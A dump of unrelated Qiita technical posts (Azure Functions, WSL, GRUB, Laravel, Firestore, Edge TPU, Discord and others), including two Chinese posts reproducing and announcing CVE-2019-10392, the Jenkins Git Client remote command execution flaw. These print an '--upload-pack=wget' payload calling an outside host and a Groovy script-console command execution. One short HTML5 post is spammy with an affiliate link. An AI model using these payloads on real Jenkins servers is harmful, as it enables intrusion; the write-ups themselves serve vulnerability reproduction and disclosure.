OmniAICreator/Qiita-1.07M huggingface dataset:
LinuxベースのAzure Function Appの作り方（CLIベースでの開発方法）

## なに？

Azure Function App / Functions（AWSでいうところのLambda）をCLIベースで開発するためのTipsです。

> 本当に簡単なものであればブラウザ上のエディタだけでできてしまってCLI使う必要もないのですが……場合によってはそうもいかないケースがあります。例えば、OS で LinuxベースのFunctionsが作りたい時などです。その場合にはブラウザ上のエディタが使えません。

## 手順

Azure管理ポータルから普通にFunction Appを作成します。
今回は OS:Linux で Node.js のものを作ります。

出来上がった**Functions App**から**新しい関数**を追加します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33095/d0bc622f-da64-c47f-7563-ec8f92b05306.png)

今回はできるだけ簡単に済ませたいので**任意のエディター＋Core**でやります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33095/eb0b40dd-1d3c-422c-d00c-0221874cd243.png)

するといくつか画面にコマンドができますので基本的にはこの通りにやっていけばよいです。

ここからはローカルのPCでの作業になります。

> ここで１つTipsはWindowsで作業するのであれば**PowerShell**を使う、ただそれだけです。まだまだPowerShellになじみのない人がいそうですがなじみましょう。それが早道です。

まずは、**Core Tools**というものをインストールします。

```
npm install -g azure-functions-core-tools
```

**npm**を使ってますのでもちろんNode.jsが必要です。
次に適当な作業フォルダに移ってさっきインストールした**Cote Tools**の**func**コマンドを使って初期設定もろもろを行います。


```
func init
```

次に関数のテンプレートを作ります。

```
func new
```

とすると色々選択肢がでてきますので選択していきます。または以下のようなコマンドを使うと一発で作ることもできます。

```
func new --name applicationname --template "HttpTrigger"
```

するとローカルに **applicationname** のフォルダが出来て **index.js** などが出来上がりますので、好きなように編集します。`npm install` などもここで作った **applicationname** 内で実行してください。

ローカルでテストしたければ以下のコマンドをいれてください。

```
func start
```

何か色々と出た後に、

```
Http Functions:

        crawlnewsclip: [GET,POST] http://localhost:7071/.....
```

と出てきますのでブラウザやcurlでアクセスするとテストすることができます。

この時に `func start` でエラーになる人がたまにいます（わたしとか）。これはだいたい **Proxy** が原因です。 Proxyが設定してあるとlocalhostへのアクセスができないためか `func start` でエラーになってしまうみたいです。

> PowerShellであれば `$env:HTTP_PROXY` `$env:HTTPS_PROXY` で設定確認して、`Remove-Item Env:HTTP_PROXY` `Remove-Item Env:HTTPS_PROXY` とかで環境変数削除して試してみてください。

テストも完了したところでAzureへデプロイします。

```
func azure functionapp publish {Functionの名前}
```

このコマンドをうつ場所だけ気を付けてください。
`func init`で作ったフォルダ内です。 `func new`で作った関数のフォルダの中ではありません。

しばらく何か画面が出た後で処理が終わります。

> こんなエラーが出る場合があると思います、というか普段Azure CLI使わない人はたぶん出ます。
>
> ```
> Unable to connect to Azure. Make sure you have the `az` CLI or `Az.Accounts` PowerShell module installed and logged in and try again
> ```
>
> その場合にはAzureコマンドラインインタフェイスをインストールして、ログインを行ってください。
> https://docs.microsoft.com/ja-jp/cli/azure/?view=azure-cli-latest
> ここを参考にインストールしてから、
>
> ```
> az login
> ```
>
> でログインを行った後に再度 `func... publish...` でデプロイ行ってください。


無事にコマンドが完了したらAzure管理ポータルが確認してみてください。

関数が無事にできているのが確認できます。
WSL（Windows Subsystem for Linux）を導入する

# 目標
- WSL 環境を構築する。
- 併せて wsl-terminal もインストールする。

# 前提条件
- Windows 10 であること。(Windows 10 HOME OS ビルド 18362.356 で検証しました。)

# WSL とは？
- Windows 上に OS の標準機能のみで Linux を導入できる仕組み。
- 完全に Linux 互換ではない（Linux カーネルではなく、Windows が読み替えて実行している）ので、一部使えない機能がある。
    - デーモンが使えない。
    - Nginx を立ち上げることは出来る。
- Windows のディレクトリをそのまま参照できる。
    - これが最大のメリットかと思う。

# 導入手順
## WSL の有効化
「ファイル名を指定して実行」から `appwiz.cpl` を実行し、「プログラムと機能」を立ち上げる。
「Windows の機能の有効化または無効化」をクリック。
![0000.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/39684/cd5a333b-834d-2804-51b3-cc5f02c1ad93.png)

「Windwos Subsystem for Linux」のチェックボックスにチェックをつけ、「OK」をクリック。
![0010.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/39684/cf69f9c2-7d92-1d4e-af05-801a397ac0b8.png)
インストール完了後、再起動してください。

## WSL のインストール
Microsoft Store から「WSL」で検索。
![0020.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/39684/46fc5cbc-a06a-48ae-b385-067084148c7a.png)

「Ubuntu」をクリック。
![0030.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/39684/f0024fed-8949-095a-0755-1d095d3c5cf2.png)

「入手」をクリック。
![0040.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/39684/e89a2539-1f4e-2381-4f64-6bfe316c9cdd.png)
インストールが始まります。

インストール完了後、「起動」をクリック。
![0060.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/39684/58e35d5e-04cc-2c57-5c68-6e275b385e52.png)

ターミナルが立ち上がるので、「ユーザー名」「パスワード」を入力して、ログインできれば成功。
![0070.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/39684/b624ada5-9495-1567-f21d-8f0eb21766c8.png)

先ほど入力したパスワードで root にもなれます。
![0080.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/39684/962a8636-0224-4ee6-b318-2e0a1cc3f30d.png)

## wsl-terminal の導入
標準のターミナルが使いにくいので、wsl-terminal を導入します。
以下より、最新版を取得して、任意のディレクトリに展開してください。
https://github.com/goreliu/wsl-terminal/releases

展開後「open-wsl.exe」を実行すれば、「wsl-terminal」が起動します。

## パッケージのアップデートを実施

```bash
sudo apt update
sudo apt upgrade
```

以上で導入完了。

## 所感
Windows 上のファイルに対して、linux コマンドが使えるというメリットは大きい。
ただ、デーモンとして使えないので、開発環境として簡易な検証環境を立てる、にとどまりそう。
ここは WSL2 で解消される？（参考: https://www.atmarkit.co.jp/ait/articles/1906/14/news019.html）
サボろうとするとメンターが現れるChrome拡張機能

# 完成品

作業をサボってTwitterやYoutubeを見始めるとメンターが現れるChrome拡張機能を作りました。
（ストアに公開はしていません）
![Sep-17-2019 07-38-28.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/305510/f44f217a-8c49-da04-0f45-508405e0cb51.gif)
※メンターには以下の動画を使用しています。
https://www.youtube.com/watch?v=IZmYn4ObRJc

# 類似作品

[進捗がなかったらメンターが現れるATOM
](https://qiita.com/iwamatsu0430/items/8e19995d3eedf1d6a823)

[進捗がなかったらメンターが現れるエディター
](https://twitter.com/d151005/status/1144530641599356929?s=20)

# 使い方

以下から`git clone`またはダウンロード。
https://github.com/watatakahashi/block-menter


Chromeから`chrome://extensions/`を開き、右上のスイッチからディベロッパーモードをオンにした後、「パッケージ化されていない拡張機能を読み込む」で、先程ダウンロードしたフォルダを選択。

これで完了。

#作り方

こちらを参考にしました。
[Chrome機能拡張のコンテンツスクリプトについて
](https://oxynotes.com/?p=8960)

アクセスが禁止されたURLを踏んだときに、メンターのURLに飛ばすだけのシンプルな仕様になってます。

### manifest.json

コンテンツスクリプトの部分だけ抜粋です。
`matches`にアクセス禁止先のURLパターンを書き、`exclude_globs`には例外的にアクセス許可をするURLを書きます。

```json:manifest.json　
	"content_scripts": [
		{
			"matches": ["https://twitter.com/*",
                        "https://www.youtube.com/*",
                        "https://www.yahoo.co.jp/*"],
			"exclude_globs": ["https://www.youtube.com/watch?v=IZmYn4ObRJc"],
			"match_about_blank": true,
			"js": ["script.js"],
			"run_at": "document_start"
		}
	]
```
### script.js
メンターのURL先に飛ばすだけです。

```javascript:script.js
window.location.href = 'https://www.youtube.com/watch?v=IZmYn4ObRJc'
```
#まとめ
URLブロック系の拡張機能はすでにありますが、ただブロックされるよりもメンターに怒られたほうが見られている感もあるしモチベーションが上がるので作ってみました。

Chrome拡張の開発は初めてでしたが、意外と簡単に作れたのはびっくりしました。
雑な作りでもっと工夫できそうな気がしますが、とりあえず使えるのでお許しください。
Mac Book Air にデュアルブートで入れたUbuntuをアップデートしたら起動しなくなった件

サブ機として使っているMacBook Airには、展示会やイベントでのオフラインデモ用にUbuntuを入れてあるのですが、それを18.04にアップデートした際に起動しなくなってしまった件の対応方法を記録しておきます。

# GRUBメニューを表示させる
僕の環境では通常Ubuntuが起動する時はGRUBメニューは表示されませんでした。電源ボタンを押して、option/altボタンを押しっぱなしにしてMacの起動メニューを表示して、そこに表示される「EFI」というHDDを選択するとUbuntuが起動する感じでした。
![起動メニュー](https://support.apple.com/library/content/dam/edam/applecare/images/ja_JP/macos/macos-sierra-startup-disk.png)

この時、EFIを選択してからescボタンを押しっぱなしにしてるとGRUBメニューが表示されます。

# とにかく起動させる
GRUBメニューが表示されてから「c」キーを押すとGRUBのコマンドラインインターフェイスになるので、lsコマンドでUbuntuがインストールされているパーティーションを探します。

```console
GRUB ls
(hd0) (hd0,gpt4) (hd0,gpt3) (hd0,gpt2) (hd0,gpt1) (cd0) (cd1) (cd2) (cd3) 
```
僕の環境ではこんな感じの出力になりました。
lsコマンドでディスク+「/」でディスクのルートディレクトリが表示されるので、中身を見ていきます。

```console
GRUB ls (hd0)
error: unknown filesystem.
GRUB ls (hd0,gpt1)
efi/ bootlog .Trashes/
GRUB ls (hd0,gpt2)
error: unknown filesystem.
GRUB ls (hd0,gpt3)
./ ../ lost+found/ boot/ etc/ media/ bin/ dev/ home/ lib/ lib64/ mnt/ opt/ proc/ root/ run/ sbin/ snap/ srv/ sys/ tmp/ usr/ var/ vmlinuz initrd.img cdrom/ initrd.img.old vmlinuz.old
GRUB ls (hd0,gpt4)
error: unknown filesystem.
```

これで```(hd0,gpt3)``` がUbuntuのディレクトリという事がわかったので、rootに設定します。

```console
GRUB set root=(hd0,gpt3)
``` 
vmlinuzとinitrb.imgを設定

```console
GRUB linux /vmlinuz root=/dev/nvme0n1p3
GRUB initrd /initrd.img
```
この時、MacはEFIなので```linux```を```linuxefi```、```initrb```を```initrbefi```にしてもOK。ダメだったら試してください。
あと、```linux```コマンドでルートにマウントするデバイスを指定しないといけないのですが、この時点で

```console
GRUB ls (hd0,gpt3)/dev/
```
としてもなぜか```/dev/nvme0n1p3```はありません。適当に```/dev/mapper/control```とかをrootに設定してbootすると、起動はできないんですが、devの中身に```nvme***```が出てくる様になるので、そこでデバイス名をゲット。
GRUBのコンソールでlsした際に出てきたパーテーションがこんな感じで対応しています。

|ls        |dev    |
|:--------:|:-----:|
|(hd0)     |nvme0  |
|(hd0,gpt1)|nvme0n1p1|
|(hd0,gpt2)|nvme0n1p2|
|(hd0,gpt3)|nvme0n1p3|
|(hd0,gpt4)|nvme0n1p4|
適時、自分の環境に読み替えてください。```nvme0```が物理ドライブの0番で、```nvme0n1```がその1番目のGPTパーテーショングループ、```nvme0n1p1```がその1番目のパーテーション、って事だと思います。たぶん

上記を設定したら起動します。

```console
GRUB boot
```
無事、起動したらgrub.cfgを変更します。

# grub.cfgを編集する

grub.cfgは```/boot/efi```にある方を編集します。僕の環境では、```/dev/nvme0n1p1```がブートパーテーションで、ubuntuだと```/boot/efi```にマウントされます。
```/boot/efi/EFI/ubuntu/grub.cfg```が起動時に使われるGRUBの設定ファイルなので、これを修正します。
なぜか```grub-mkconfig```とかしてもちゃんと起動するgrub.cfgが正成されなかったので、中身見て手動で変更しました。
grub.cfgを開くと、

```grub.cfg
#
# DO NOT EDIT THIS FILE
#
```
と書いてあってビビりますが、無視しますw

grub.cfgをざーっと読んでいって、```linux```コマンドを実行してるとこを見つけ、その前でrootを設定します

```grub.cfg
menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-dev/nvme0n1p3' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_gpt
    set root=(hd0,gpt3)
        linux /boot/vmlinuz-4.15.0-62-generic root=/dev/nvme0n1p3 ro quiet splash $vt_handoff
    initrd /boot/initrd.img-4.15.0-62-generic
}
```

この```set root=(hd0,gpt3)```が追記した部分です。
なぜかこれを書かないと、```/boot/vmlinuz-4.15.0-62-generic```が見つからないってエラーで起動できませんでした。

以上、ご参考までに。
Laravelをインストールしたらやっていること一覧

## まえがき
Laravelアプリケーションを何回か作っているけど、毎回この前のときは最初にどんな設定をしたっけ、と悩んでしまうので**自分がよくやる設定**を備忘録を兼ねてまとめました

<font color="red">**Laravel6時代の設定です** [Laravel8.xはこちら](https://qiita.com/schrosis/items/cce304870fcb27498a5e)</font>



## APP_NAMEの変更

```ini:.env
APP_NAME=アプリケーション名
```

```php:config/app.php
'name' => env('APP_NAME', 'アプリケーション名'),
```

## APP_KEY
たしかcomposerでインストールしたら勝手にやってくれるはずだけど、直接クローンしてライブラリをインストールした際はその限りではないので一応

```
php artisan key:generate
```

## public/storageにstorage/app/publicへのシンボリックリンク作成

```
php artisan storage:link
```

## データベースの設定

```ini:.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=データベース名
DB_USERNAME=ユーザー名
DB_PASSWORD=パスワード
```

## タイムゾーン

```diff:config/app.php
-'timezone' => 'UTC',
+'timezone' => 'Asia/Tokyo',
```

## 言語設定
```diff:config/app.php
-'locale' => 'en',
+'locale' => 'ja',
```

ダミーデータの日本語化もついでに

```diff:config/app.php
-'faker_locale' => 'en_US',
+'faker_locale' => 'ja_JP',
```

## メッセージの日本語化
resources/lang/ja/
に各種メッセージファイルを作る

https://github.com/minoryorg/laravel-resources-lang-ja
普段はこちらからもらってきて、カスタマイズしています

## モデルの名前空間変更
`App`直下だと邪魔になってくるので`App\Models`にお引越し

> Modelという物は人それぞれ思い受かべるものが違うので、Laravelは意図的にModelsディレクトリを作っていない
なので生粋のLaravel職人からすると愚行かもしれない

```diff:app/User.php
-namespace App;
+namespace App\Models;
```

`app/User.php`を`app/Models/User.php`に移動

```diff:config/auth.php
     'providers' => [ 
         'users' => [ 
             'driver' => 'eloquent', 
-             'model' => App\User::class, 
+             'model' => App\Models\User::class, 
         ], 
```
```diff:/app/Http/Controllers/Auth/RegisterController.php
use App\Http\Controllers\Controller;
-use App\User;
+use App\Models\User;
use Illuminate\Foundation\Auth\RegistersUsers;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Validator;
```

使うかわからないけど一応stripeの設定も

```diff:/config/services.php
    'stripe' => [
-        'model' => App\User::class,
+        'model' => App\Models\User::class,
        'key' => env('STRIPE_KEY'),
        'secret' => env('STRIPE_SECRET'),
        'webhook' => [
            'secret' => env('STRIPE_WEBHOOK_SECRET'),
            'tolerance' => env('STRIPE_WEBHOOK_TOLERANCE', 300),
        ],
    ],
```

## よく使うライブラリ導入
https://qiita.com/ChiseiYamaguchi/items/7277aad6be309d0f7ae7
ライブラリに関してはほんと人それぞれなので良さげな記事を貼ってごまかす

## あとがき
新たにレイヤつくったり、コマンド作ったり個人的な部分は省きました
みなさんの「こんな設定してるよ！」聞きたいです
FireStore 最低限（CRUD）


## やりたいこと

* アプリ等に実装する前にローカル（Mac + node）でDB操作を確認したい。

## 前提

* Firebaseのアカウントがある
* プロジェクトを作成し、DB（Firestore）作成済み

## 手順

### 作業する場所作成

```bash
midir fire_test
cd fire_test
npm init -f
npm install --save firebase-admin
touch index.js
```

### テンプレートファイル作成

```js:index.js
const admin = require('firebase-admin');

var serviceAccount = require("./firebase-key.json"); //このファイルを管理画面から落としてくる

admin.initializeApp({
    credential: admin.credential.cert(serviceAccount),
    databaseURL: "https://{project}.firebaseio.com"
});

var db = admin.firestore();
```

### key（秘密鍵ファイル）の入手

管理画面（左ペインの歯車クリック） -> ユーザーと権限 -> サービスアカウント


## 動作確認

### 値の追加（Create）

上記テンプレートに追加のためのコードを１行追加。

```js:index.js
const admin = require('firebase-admin');

var serviceAccount = require("./firebase-key.json");

admin.initializeApp({
    credential: admin.credential.cert(serviceAccount),
    databaseURL: "https://expo-test1.firebaseio.com"
});

var db = admin.firestore();

//値を追加
var docRef = db.collection('users').doc('0001').set({name:'hoge',age:33});
```

実行後、管理画面で下記のようにデータの追加が確認できればOK。

![スクリーンショット 2019-09-17 8.00.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/55188/c565d2ba-fbf8-55e5-0734-598e3584dac7.png "スクリーンショット 2019-09-17 8.00.32.png")

## 基本動作（CRUD）

### Create（Insert）

既にやりましたが、collectionとdocを指定した上でset()を利用します。

```js
db.collection('users').doc('0001').set({name:'hoge',age:33});
```

ちなみに同じdoc名でset()を実行すると、完全に上書きされるので注意が必要です。

```js
db.collection('users').doc('0001').set({address:'tokyo',tel:'03-1111-2222'});
```

ドキュメントに要素（フィールド）を追加したい場合はUpdateを利用します。
存在しないフィールドの場合は追加され、既存のフィールドはUpdateされます。

```js
db.collection('users').doc('0001').update({address:'tokyo',tel:'03-1111-2222'});
```

### READ(Select)

リードは下記のように行います。

```js
db.collection('users').get()
    .then((snapshot)=>{
        snapshot.forEach((doc)=>{
            console.log(doc.id + "-" + JSON.stringify(doc.data()));
        })
    })
    .catch(e => console.log(e));
```

>doc.data()の内容が展開されるよう、JSON.stringify()しています。

### Update

updateは下記のような感じ。既存フィールドだと更新、無いフィールドだと追加されます。

```js
db.collection('users').doc('0001').update({ age: 44 });
```

### Delete

削除はdelete()を実行するだけ。

```js
db.collection('users').doc('0001').delete();
```

なお、フィールドを削除したい場合は、下記のようにします。

```js
let fieldValue = admin.firestore.FieldValue;
db.collection('users').doc('0001').update({age:fieldValue.delete()});
```

>nullでupdateしてもnullが入った状態となり、フィールドは削除されません。

### 書き方

なお、上記のようにcollectionとdocを都度していしなくても、

```js
let docRef = db.collection('users').doc('0001');
```

のように参照を定義し、参照に対してset,update,deleteを行えます。

```hs
docRef.set();
docRef.update()
docRef.delete()
```

必要に応じて追加します。

## 参考

* https://madogiwa0124.hatenablog.com/entry/2019/03/31/190910
* https://qiita.com/bathtimefish/items/164d2b0cd268f209db9b
HTML5  CSS3

そもそもバージョンの違いがわからない人には、HTML5.0になったことも無意味。WEB制作とはフロントエンドとバックエンドがあるからだ。制作業務でもコーディングする人。ライティングする人では仕事が違う。<a href="https://ps-game-cheap.net/au-hikari-game-review/" >auひかりゲーム口コミ</a>
だからCSSの変更点について知らなくてもいい。しかしWordpressや簡易なHTML制作では一部問題になることもある。今まで使っていたタグが非推奨になるからだ。これだと表示の不具合が出たり、グーグルから低評価受けたりする。
<a href="https://ja.wikipedia.org/wiki/HTML5" >HTML5について</a>、WIKI調べたところ。2016年頃に開始されたことがわかった。次世代へとバトンタッチすることも予想されるが、WEBの世界はすでにHTMLが主流であり、かんたんに移行できるものではない。そのためにエボリューションを繰り返すわけだ。プログラミング言語は変わるだろう。その中でも、旧来型への対応はWEBブラウザで良いということもある。開発者、サイト制作者にとってはプラットフォームの変化のみで、今まで通りにGUIやテキストの打ち込みなどが開発環境になるだろう。
ラズパイ4でEdge TPU Python APIをインストールする

#概要
ラズパイ4にEdge TPU（USB Accelerator）を接続し、Edge TPU Python APIを使用できるようにする手順を解説しています。
[公式](https://coral.withgoogle.com/docs/accelerator/get-started/#)で配布されているインストーラーですとラズパイ4には未対応(2019年9月現在)、コマンドを叩いてセットアップする必要があります。

#使用機材

 * Raspberry Pi 4 Model B 4GB RAM（Raspbian Buster）
 * [Google Edge TPU ML accelerator coprocessor USB Accelerator](https://coral.withgoogle.com/docs/accelerator/datasheet/)

#注意事項
ラズパイ4は国内の技適が取得できていません。実機で試す場合は無線LAN機能やBluetooh機能をオフにしてから実施するようにしてください。


#手順

##資材のダウンロードと展開
wgetで資材をダウロードし展開します。ここはラズパイ3の時と変わりません。

```shell-session
$ wget https://dl.google.com/coral/edgetpu_api/edgetpu_api_latest.tar.gz -O edgetpu_api.tar.gz --trust-server-names
$ tar xzf edgetpu_api.tar.gz
$ cd edgetpu_api/
```

##必要なライブラリのインストール
aptを使って必要なライブラリをインストールします。

```shell-session
$ sudo apt-get install -y \
  libusb-1.0-0 \
  python3-pip \
  python3-pil \
  python3-numpy \
  libc++1 \
  libc++abi1 \
  libunwind8 \
  libgcc1
```

##デバイス管理ルールの入替
udev用のルールを入れ替えます。

```shell-session
$ sudo cp -p ./99-edgetpu-accelerator.rules /etc/udev/rules.d/99-edgetpu-accelerator.rules
$ sudo su
# udevadm control --reload-rules && udevadm trigger
# exit
```

##ライブラリのコピー
必要なライブラリのコピーをします。最大動作周波数を有効にするかどうかでコピーするファイルが違います。

###最大動作周波数を有効にする場合

```shell-session
$ sudo cp -p ./libedgetpu/libedgetpu_arm32.so /usr/lib/arm-linux-gnueabihf/libedgetpu.so.1.0
$ sudo ldconfig
```

###最大動作周波数を有効にしない場合

```shell-session
$ sudo cp -p ./libedgetpu/libedgetpu_arm32_throttled.so /usr/lib/arm-linux-gnueabihf/libedgetpu.so.1.0
$ sudo ldconfig
```

##Python APIのインストール
whlファイルからPython APIのインストールを行います。

```shell-session
$ sudo python3 -m pip install --no-deps ./edgetpu-2.11.1-py3-none-any.whl
```

##ライブラリの名称変更
ライブラリの名称変更を行います。Python3.7の場合必要な変更で、Rasbian BusterからはPython3.7が標準で使われるようになっているので必要になります。

```shell-session
$ cd /usr/local/lib/python3.7/dist-packages/edgetpu/swig/
$ sudo cp _edgetpu_cpp_wrapper.cpython-35m-arm-linux-gnueabihf.so _edgetpu_cpp_wrapper.so
```

#最後に
これでEdge TPU Python APIが出来るようになります。公式の鳥を識別するデモプログラムが動かせるようになりますので試してみてください。

#余談
2019/9/22（日）の[技術書典7](https://techbookfest.org/event/tbf07)にて、ラズパイとEdgeTPUを使うための本を頒布いたします。AutoML Visionとの連携も解説しておりますので、是非見に来てください。[サークルページ](https://techbookfest.org/event/tbf07/circle/5708906424696832)
よく使いそうなuseraddのオプション


## `yuta`というユーザーを作りたい

```
useradd -m -d /home/yuta -u 500 -g 501 yuta
```

## オプション

|オプション|意味|
|:-:|:-:|
|-m|ホームディレクトリ作成|
|-d|ホームディレクトリ指定|
|-u|uid指定|
|-g|所属グループをgid指定|
nuxt-i18nでtemplate以外でtメソッドを使う

## 経緯
Nuxtで日英のバイリンガルサイトを作っていて、
metaタグの翻訳が必要だったので調べてみました。

## 調査結果
[nuxt-i18n](https://github.com/nuxt-community/nuxt-i18n)は[vue-i18n](https://github.com/kazupon/vue-i18n)を使っているので、issueにないか調べてみると、
開発者の[kazupon](https://github.com/kazupon)さんが回答されていました。

>[How can i use vue-i18n in '.js' file, I have use it in Vue template and it works. #149](https://github.com/kazupon/vue-i18n/issues/149)

以下ように呼び出すと、scriptブロックで使用可能です。

```javascript
this.$i18n.t('hoge')
```

## `asyncData`で使う
`asyncData`でも`context`から`t`メソッドを利用できますが、
コンポーネントのi18nブロックの翻訳テキストは参照できません。

```vuejs
<i18n>
{
  "en": {
    "hoge": "hoge"
  },
  "ja": {
    "hoge": "ほげ"
  }
}
</i18n>

<script>
export default {
  ...
  asyncData({ app }) {
    console.log(app.i18n.t('hoge'));
  }
  ...
}
</script>
```

ブラウザのコンソールに以下のような警告が表示されます。

```console
warn [vue-i18n] Cannot translate the value of keypath 'hoge'. 
Use the value of keypath as default.
```

`context`の`app`は、

> すべてのプラグインを含むルートの Vue インスタンス。

とドキュメントに書かれていますので、
子コンポーネントの翻訳テキストを参照することが出来ないからだと思われます。

`app`から利用する場合は、nuxt.config.jsに記述します。

```javascript
import { join } from 'path'

...
modules: [
  'nuxt-i18n', {
    vueI18n: {
      messages: {
        'en': {
          'hoge': 'hoge'
        },
        // or 'en': require(join(__dirname, 'locales/en.json'))
        'ja': {
          'hoge': 'ほげ'
        }
        // or 'ja': require(join(__dirname, 'locales/ja.json'))
      }  
    }
  }
]
...
```

[vue-i18n-loader](https://github.com/kazupon/vue-i18n-loader)を利用して、コンポーネント毎に管理すると便利なので、
このように使う場合はあまりないのではないでしょうか？

## まとめ
template以外でも使いたい状況はあると思いますので、
備忘録を兼ねて投稿してみました。
CVE-2019-10392/Jenkins Git Client插件远程命令执行漏洞复现

### 环境准备
- 1.安装Jenkins(以Centos为例)
直链:https://prodjenkinsreleases.blob.core.windows.net/redhat-stable/jenkins-2.150.3-1.1.noarch.rpm

使用`rpm -i jenkins-2.150.3-1.1.noarch.rpm`安装Jenkins
使用`service jenkins start`启动Jenkins

随后访问`http://ip:8080`进行安装

安装过程中一定要选择`选择插件安装`

![选择插件安装](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/ece8243c-9fad-1232-7397-52a7a0b37e26.png)

安装插件清单中去掉Git Client的安装

![去掉git的安装](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/fcd595af-6e8b-b213-af8f-d84a69986cab.png)

如果不去掉,Jenkins将会安装最新的git插件,将无法复现漏洞

![等待](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/27e99407-59ae-a16a-e3ca-bf386d707be6.png)

然后等待选定的插件安装完即可

- 2.安装Git Client插件
直链:http://ftp-chi.osuosl.org/pub/jenkins/plugins/git-client/2.8.4/git-client.hpi
下载这个插件文件,使用如下步骤本地安装即可

![上传插件](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/0e92e472-978f-ba0a-8fb0-0be3ac2696ea.png)

![本地安装](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/b7b7fef4-96c0-342d-e5a5-94609d85cba3.png)

- 3.重启Jenkins
`service jenkins restart`

### Payload
- 1.新建一个工程
访问`http://ip:8080/view/all/newJob`输入工程名点击ok即可

![新建工程](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/3e472c1d-b60f-0819-0495-4abcc22a5784.png)

- 2.RCE
在红框处填入`--upload-pack=wget http://ip:port/1.txt`随意远程请求一个文件

![红框处](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/5c5da112-2c55-39b4-a1bb-eee04766c8e8.png)

随后服务器将会收到连接请求

![连接请求](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/df763c1b-983b-da43-d4d9-44ccc4adf9af.png)

![连接请求](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/649def82-16c9-9e73-a11a-e6c3407c5d94.png)

到此复现完成.该漏洞需要登录以后才能触发,且需要安装git client插件,显得很鸡肋.其实Jenkins后台一直有一个带回显的漏洞

访问`http://ip:8080/script`

![Script 主控台](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/d6ce0e77-4660-52ac-aa34-07ca7f58724c.png)

输入如下payload并点击执行即可

`println("ifconfig".execute().getText())`

![ifconfig](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/2a15c756-70c6-eeb4-4c68-d00992ce3e08.png)
[漏洞预警]CVE-2019-10392/Jenkins Git Client插件远程命令执行漏洞

### 漏洞描述
近日Jenkins发布了官方安全公告：`https://jenkins.io/security/advisory/2019-09-12/`,指明修复了一个高危插件漏洞——Git Client Plugin(CVE-2019-10392).
### CVE编号
CVE-2019-10392
### 漏洞威胁等级
高危
### 影响范围
Git Client Plugin <= 2.8.4
### 漏洞验证
使用payload进行任意命令执行

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/3cff1f15-4684-2591-aa44-5f52a14e56f3.png)


### 修复建议
升级至2.8.6或其以后版本
### Reference
https://nvd.nist.gov/vuln/detail/CVE-2019-10392
Anacondaからjupyterを開いてブラウザが立ちあがったがクリックしても動かない場合

#環境
WIndows10
python3.6.9
Anaconda3 5.0.0
jupyter Notebook 6.0.0

#現象
新しいPCになったのでopenAIgymの環境をセットアップしており、jupyterNotebookをインストールし起動させるとブラウザが立ち上がった
しかし、フォルダをクリックしても新しいフォルダを作成しようとしてもなにも反応がない
なんだったらURLから直接pathをたたいても開かない
なぜだ？となって軽くggってもブラウザが立ち上がらないケースばかりヒットしてブラウザが立ち上がっても動かないケースは解決法が見当たらなかったので備忘録として書き残す

#解決法
jupyterをインストールした環境で以下のコマンドを実行

```
conda install --force html5lib
```
Discord 画面共有を復活させる

先日のDiscordアップデートから余計なGo Live機能が実装され, Windows10上で従来の画面共有機能が利用できなくなった。
だいぶ不便なので, Windows10上で画面共有機能を有効化する手法をお教えしよう。

ちなみに, `https://discordapp.com/サーバーID/チャンネルID/` でも一応[可能](https://bkohi3.hatenablog.com/entry/Discord5)だが, 従来の画面共有よりUIが使いづらいので, 別の手法を探ってみた。

**そもそも画面共有をサーバーで行うには何回かサーバーをリセマラして画面共有が可能なサーバーを作成[しなければならない](https://lineblog.me/mutsuki4310/archives/1377578.html)**
**10回やって1, 2回見つかる**
**初めてWindows10で画面共有鯖を作る場合は, 以下の0~4の手順を行ってからリセマラすること**

~~この記事は単純化しすぎて不完全かもしれない~~

###0 - Discordを起動中なら完全終了する
ちゃんとタスクからも消すべき。バツボタンじゃだめ。

###1 - デスクトップにあるDiscordのショートカットを右クリックして, `プロパティ`をクリック
デスクトップにDiscordのショートカットがない場合は作成せよ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117932/7c9da879-317c-fde7-aca3-9c712ae36373.png)

###2 - `互換性`タブをクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117932/c6c56512-04dc-ac9a-83be-3f326ed9a680.png)

###3 - `互換モードでこのプログラムを実行する:`にチェックを入れ, Windows7に設定して`OK`
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117932/e67879e8-ae05-c120-d804-e80f8d49204d.png)

###4 - Discordをこのショートカットから起動すれば画面共有ボタンが復活しているはず
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117932/fbbd17ea-b20b-b2df-07a7-8b976f53e381.png)

